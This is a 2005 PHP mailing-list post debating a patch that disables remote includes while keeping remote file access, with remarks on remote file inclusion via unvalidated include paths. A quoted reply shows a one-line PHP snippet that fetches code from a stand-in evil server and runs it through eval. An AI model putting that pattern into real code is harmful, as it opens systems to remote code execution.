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Posted by Jason Wong on 03/02/05 21:39
On Thursday 03 March 2005 03:04, Richard Lynch wrote:
> Tom Z Meinlschmidt wrote:
> > Tell me - how do you want to turn off remote includes and remain
> > remote file working?
>
> Change the PHP source?
>
> That's the only viable answer I can think of; though I doubt it's one
> you want to hear/use.
>
> Sorry.
Funnily enough I think you'll find that he did (change the source) :)
> > allow_url_fopen turns off _both_. There's no choice what to disable
>
> Consider this:
>
> <?php
> eval(implode('',file("http://evilserver.example.com")));
> ?>
>
> So, like, what's the point to turning off only remote include and
> keeping remote file?
I believe you're missing the point of the patch. It is to prevent people
from injecting malicious remote locations in $somewhere:
include($somewhere);
Of course one should always validate $somwhere before using it but ...
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